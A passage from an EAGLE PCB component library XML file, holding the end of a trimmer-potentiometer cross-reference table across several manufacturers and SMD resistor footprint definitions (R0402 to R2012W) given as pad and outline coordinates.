&lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3224G&lt;BR&gt;\n      3224J&lt;BR&gt;\n      3224W&lt;BR&gt;\n      3269P&lt;BR&gt;\n      3269W&lt;BR&gt;\n      3269X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      44G&lt;BR&gt;\n      44J&lt;BR&gt;\n      44W&lt;BR&gt;\n      84P&lt;BR&gt;\n      84W&lt;BR&gt;\n      84X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST63Z&lt;BR&gt;\n      ST63Y&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST5P&lt;BR&gt;\n      ST5W&lt;BR&gt;\n      ST5X&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;&amp;nbsp;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=7&gt;\n      &lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;SINGLE TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BOURNS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;BI&amp;nbsp;TECH&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;DALE-VISHAY&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PHILIPS/MEPCO&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;PANASONIC&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;TOCOS&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;AUX/KYOCERA&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      3314G&lt;BR&gt;\n      3314J&lt;BR&gt;\n      3364A/B&lt;BR&gt;\n      3364C/D&lt;BR&gt;\n      3364W/X&lt;BR&gt;\n      3313G&lt;BR&gt;\n      3313J&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      23B&lt;BR&gt;\n      23A&lt;BR&gt;\n      21X&lt;BR&gt;\n      21W&lt;BR&gt;\n      -&lt;BR&gt;\n      22B&lt;BR&gt;\n      22A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST5YL/ST53YL&lt;BR&gt;\n      ST5YJ/5T53YJ&lt;BR&gt;\n      ST-23A&lt;BR&gt;\n      ST-22B&lt;BR&gt;\n      ST-22&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      ST-4B&lt;BR&gt;\n      ST-4A&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      ST-3B&lt;BR&gt;\n      ST-3A&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      EVM-6YS&lt;BR&gt;\n      EVM-1E&lt;BR&gt;\n      EVM-1G&lt;BR&gt;\n      EVM-1D&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      G4B&lt;BR&gt;\n      G4A&lt;BR&gt;\n      TR04-3S1&lt;BR&gt;\n      TRG04-2S1&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      DVR-43A&lt;BR&gt;\n      CVR-42C&lt;BR&gt;\n      CVR-42A/C&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n&lt;/TABLE&gt;\n&lt;P&gt;\n&lt;FONT SIZE=4 FACE=ARIAL&gt;&lt;B&gt;ALT =&amp;nbsp;ALTERNATE&lt;/B&gt;&lt;/FONT&gt;\n&lt;P&gt;\n\n&amp;nbsp;\n&lt;P&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/table&gt;</description>\n<packages>\n<package name=\"R0402\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.635\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-1.905\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"R0603\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-0.432\" y1=\"-0.356\" x2=\"0.432\" y2=\"-0.356\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.432\" y1=\"0.356\" x2=\"-0.432\" y2=\"0.356\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1\" dy=\"1.1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1\" dy=\"1.1\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.635\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-1.905\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4318\" y1=\"-0.4318\" x2=\"0.8382\" y2=\"0.4318\" layer=\"51\"/>\n<rectangle x1=\"-0.8382\" y1=\"-0.4318\" x2=\"-0.4318\" y2=\"0.4318\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"R0805\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5001\" x2=\"0.1999\" y2=\"0.5001\" layer=\"35\"/>\n</package>\n<package name=\"R0805W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt; wave soldering&lt;p&gt;</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.0525\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.0525\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.5001\" x2=\"0.1999\" y2=\"0.5001\" layer=\"35\"/>\n</package>\n<package name=\"R1005\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.635\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-1.905\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.3\" x2=\"0.1999\" y2=\"0.3\" layer=\"35\"/>\n</package>\n<package name=\"R1206\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"0.9525\" y1=\"-0.8128\" x2=\"-0.9652\" y2=\"-0.8128\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.9525\" y1=\"0.8128\" x2=\"-0.9652\" y2=\"0.8128\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"2\" x=\"1.422\" y=\"0\" dx=\"1.6\" dy=\"1.803\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1.422\" y=\"0\" dx=\"1.6\" dy=\"1.803\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.6891\" y1=\"-0.8763\" x2=\"-0.9525\" y2=\"0.8763\" layer=\"51\"/>\n<rectangle x1=\"0.9525\" y1=\"-0.8763\" x2=\"1.6891\" y2=\"0.8763\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R1206W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-0.913\" y1=\"0.8\" x2=\"0.888\" y2=\"0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-0.8\" x2=\"0.888\" y2=\"-0.8\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"0.983\" x2=\"2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-0.983\" x2=\"-2.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.2\" layer=\"1\"/>\n<text x=\"-1.905\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.905\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-0.8763\" x2=\"-0.9009\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"0.889\" y1=\"-0.8763\" x2=\"1.6391\" y2=\"0.8738\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.7\" x2=\"0.3\" y2=\"0.7\" layer=\"35\"/>\n</package>\n<package name=\"R1210\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.4\" y=\"0\" dx=\"1.6\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8999\" x2=\"0.3\" y2=\"0.8999\" layer=\"35\"/>\n</package>\n<package name=\"R1210W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-0.913\" y1=\"1.219\" x2=\"0.939\" y2=\"1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.913\" y1=\"-1.219\" x2=\"0.939\" y2=\"-1.219\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"1.483\" x2=\"2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-2.473\" y1=\"-1.483\" x2=\"-2.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.499\" y=\"0\" dx=\"1.8\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-1.651\" y1=\"-1.3081\" x2=\"-0.9009\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"0.9144\" y1=\"-1.3081\" x2=\"1.6645\" y2=\"1.2918\" layer=\"51\"/>\n<rectangle x1=\"-0.3\" y1=\"-0.8001\" x2=\"0.3\" y2=\"0.8001\" layer=\"35\"/>\n</package>\n<package name=\"R2010\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.2\" y=\"0\" dx=\"1.8\" dy=\"2.7\" layer=\"1\"/>\n<text x=\"-3.175\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n</package>\n<package name=\"R2010W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-1.662\" y1=\"1.245\" x2=\"1.662\" y2=\"1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.637\" y1=\"-1.245\" x2=\"1.687\" y2=\"-1.245\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"1.483\" x2=\"3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"-1.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-3.473\" y1=\"-1.483\" x2=\"-3.473\" y2=\"1.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.311\" y=\"0\" dx=\"2\" dy=\"1.8\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.905\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-2.4892\" y1=\"-1.3208\" x2=\"-1.6393\" y2=\"1.3292\" layer=\"51\"/>\n<rectangle x1=\"1.651\" y1=\"-1.3208\" x2=\"2.5009\" y2=\"1.3292\" layer=\"51\"/>\n</package>\n<package name=\"R2012\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.5999\" x2=\"0.1001\" y2=\"0.5999\" layer=\"35\"/>\n</package>\n<package name=\"R2012W\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nwave soldering</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.94\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.94\" y=\"0\" dx=\"1.5\" dy=\"1\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"1.27\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4064\" y1=\"-0.6985\" x2=\"1.0564\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-1.0668\" y1=\"-0.6985\" x2=\"-0.4168\" y2=\"0.7015\" layer=\"51\"/>\n<rectangle x1=\"-0.1001\" y1=\"-0.5999\" x2=\"0.1001\" y2=\"0.5999\" 